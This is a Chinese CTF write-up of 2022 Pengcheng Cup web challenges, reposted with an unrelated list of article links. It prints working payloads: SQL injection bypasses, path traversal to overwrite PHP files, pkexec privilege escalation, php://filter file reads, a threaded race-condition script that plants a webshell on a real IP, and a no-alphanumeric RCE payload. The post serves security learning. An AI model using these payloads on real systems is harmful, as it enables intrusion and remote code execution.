当前位置: 首页 > news >正文

2022鹏城杯

复现环境

NSSCTF

高手高手高高手

因为没有复现环境,我这儿只总结一下思路:

1.扫描目录发现git泄露,恢复源码

2.登录login.php,网上有漏洞,但是没有poc,就根据补丁一个一个看,这个思路好

3.SQL注入的地方

<?php 
function protect($str){
$str = str_replace("'", '\\'."'", $str);
            $str = "'".$str."'";
            return $str;
}
$column='id';
$table='nv_users';
$str="";
$where='cookie_hash = '.protect($str);
$order='';
$sql='SELECT ' . $column . ' FROM ' . $table . ' WHERE ' . $where . $order . ' LIMIT 1';
echo $sql;

对单引号实现了\转义,这个绕过姿势可以学习我自己写个反斜杠则可以转义掉

payload

\' || 1=1#

进入后台是一个文件覆盖的漏洞
在这里插入图片描述

可以将上传的文件写入,但是还要传个id,并且最终拼接成了路径是已存在的文件。
也就是说可以覆盖已有文件。
那么我们可以直接覆盖一个php文件。首页里面有个navigate_info.php,可以覆盖。
问题来了,对传入的id进行了替换,将…/替换成了空。
不过不要紧,可以采用双写绕过的方式。

学到了的姿势:对于replace这种,替换,就可以利用双写绕过

拿到马后,需要pkexec提权

然后需要删除掉网站根目录下的bocai.html、bocai.png,发现 bocai.html 和 bocai.png 不能删、不能移动

利用 chattr -a bocai* 命令去除该属性

最后执行flag的可执行文件就可。

简单包含

考点:就是一个php的伪协议读文件内容

这个题有点脑洞

直接读flag.php是返回waf的

<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

最后的是需要传入很多参数就可以读flag

1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/convert.base64-encode/resource=flag.php

压缩包

考点:条件竞争

<?php
highlight_file(__FILE__);

function removedir($dir){
    $list= scandir($dir);
    foreach ($list as  $value) {
        if(is_file($dir.'/'.$value)){
            unlink($dir.'/'.$value);
        }else if($value!="."&&$value!=".."){
            removedir($dir.'/'.$value);
        }
    }
}
//传进来一个文件名,"/tmp/".md5($content)
function unzip($filename){
    $result = [];
    //创建一个压缩对象
    $zip = new ZipArchive();
    //打开压缩文件
    $zip->open($filename);
    $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
    //创建目录
    if(!is_dir($dir)){
        mkdir($dir);
    }
    //解压到dir目录下
    if($zip->extractTo($dir)){
        //遍历目录下文件
        foreach (scandir($dir) as  $value) {
            //查找指定字符在字符串中的最后一次出现
            $file_ext=strrchr($value, '.');
            $file_ext=strtolower($file_ext); //转换为小写
            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext=trim($file_ext); //收尾去空
            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                removedir($dir);
            }
            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                if(is_file($dir."/".$value)){
                    unlink($dir."/".$value);
                }else{
                    if($value!="."&&$value!="..")
                        array_push($result,$value);
                }

            }

        }
        $zip->close();
        unlink($filename);
        return json_encode($result);
    }else{
        return false;
    }
}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content);
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>
[]
Warning: mkdir(): No such file or directory in /var/www/html/index.php on line 21
[][]

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

直接写脚本

import requests
import hashlib
import threading
import base64

url = "http://1.14.71.254:28451/"
sess=requests.session()
r = open("1.zip", "rb").read()
content = base64.b64encode(r)
data={
    'content': content
}
m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):
    while True:
        resp=session.post(url,data=data)
def read(session):
    while True:
        resp=session.get(url+f'static/upload/{md}/1.php')
        if resp.status_code==200:
            print("success")
if __name__=="__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

简单的php

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?>

看到第一个过滤,就是无字母数字命令执行

然后第二个过滤,就是无参数构造实现RCE

直接payload

system(current(getallheaders()));

?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())); 

需要注意的是:要用[!%FF]来进行分割

easygo

下载附件,是 go.mod,里面有个 github 地址

然后就是出现了利用姿势

juice/1' UNION SELECT 1,flag FROM super_secret_table--+

can_u_login

就是一个自查询实现SQL注入

password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")%23',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")%23')%23

easy_sql

扫目录拿phpmyadmin目录,然后弱口令登录

初赛的wp:

https://blog.csdn.net/miuzzx/article/details/125576866?spm=1001.2014.3001.5502

相关文章:

  • Kubernetes学习笔记-保障集群内节点和网络安全(3)限制pod使用安全相关的特性20220828
  • [免费专栏] Android安全之利用ADT获取内存中的敏感信息
  • 网络编程必读经典书籍
  • TDengine-解决集群搭建过程中启动失败问题
  • STM32 GPIO工作原理
  • ros入门(九)----ros navigation
  • 数学建模神经网络应用,构建神经网络模型方法
  • 小程序模板报价_小程序模板价格_小程序模板使用多少钱
  • 校园跑腿小程序市场需要和功能分析!
  • 上半年业绩韧性增强,两大核心业务成第二增长点,商汤用硬科技冲刺AI长跑
  • MySQL 数据库(DBMS)安装教程图文详解
  • UTONMOS:元宇宙链游之风、燎原之势
  • 测试面试 | 一道大厂算法面试真题,你能答上来吗?(附答案)
  • 哺乳动物组织和培养细胞提取蛋白—Abbkine ExKine总蛋白提取试剂盒
  • springboot项目打包部署到阿里云windows服务器全过程记录
  • CSS选择器——伪元素选择器之处理父元素高度及外边距溢出
  • JDK9: 集成 Jshell 和 Maven 项目.
  • js继承的实现方法
  • Median of Two Sorted Arrays
  • TCP拥塞控制
  • 闭包--闭包之tab栏切换(四)
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 翻译 | 老司机带你秒懂内存管理 - 第一部(共三部)
  • 分享几个不错的工具
  • 高程读书笔记 第六章 面向对象程序设计
  • 工程优化暨babel升级小记
  • 猫头鹰的深夜翻译:Java 2D Graphics, 简单的仿射变换
  • 微服务框架lagom
  • 我这样减少了26.5M Java内存!
  • 一个项目push到多个远程Git仓库
  • 应用生命周期终极 DevOps 工具包
  • 大数据全解:定义、价值及挑战
  • 分布式关系型数据库服务 DRDS 支持显示的 Prepare 及逻辑库锁功能等多项能力 ...
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • ​secrets --- 生成管理密码的安全随机数​
  • ​TypeScript都不会用,也敢说会前端?
  • ​渐进式Web应用PWA的未来
  • # 再次尝试 连接失败_无线WiFi无法连接到网络怎么办【解决方法】
  • #Ubuntu(修改root信息)
  • (175)FPGA门控时钟技术
  • (2021|NIPS,扩散,无条件分数估计,条件分数估计)无分类器引导扩散
  • (C语言)fread与fwrite详解
  • (C语言)深入理解指针2之野指针与传值与传址与assert断言
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (MATLAB)第五章-矩阵运算
  • (WSI分类)WSI分类文献小综述 2024
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)apringboot计算机专业大学生就业指南 毕业设计061355
  • .NET 4.0网络开发入门之旅-- 我在“网” 中央(下)
  • .NET Standard 支持的 .NET Framework 和 .NET Core
  • .NET 将多个程序集合并成单一程序集的 4+3 种方法
  • .NET 中创建支持集合初始化器的类型
  • .NET/ASP.NETMVC 深入剖析 Model元数据、HtmlHelper、自定义模板、模板的装饰者模式(二)...
  • .net6使用Sejil可视化日志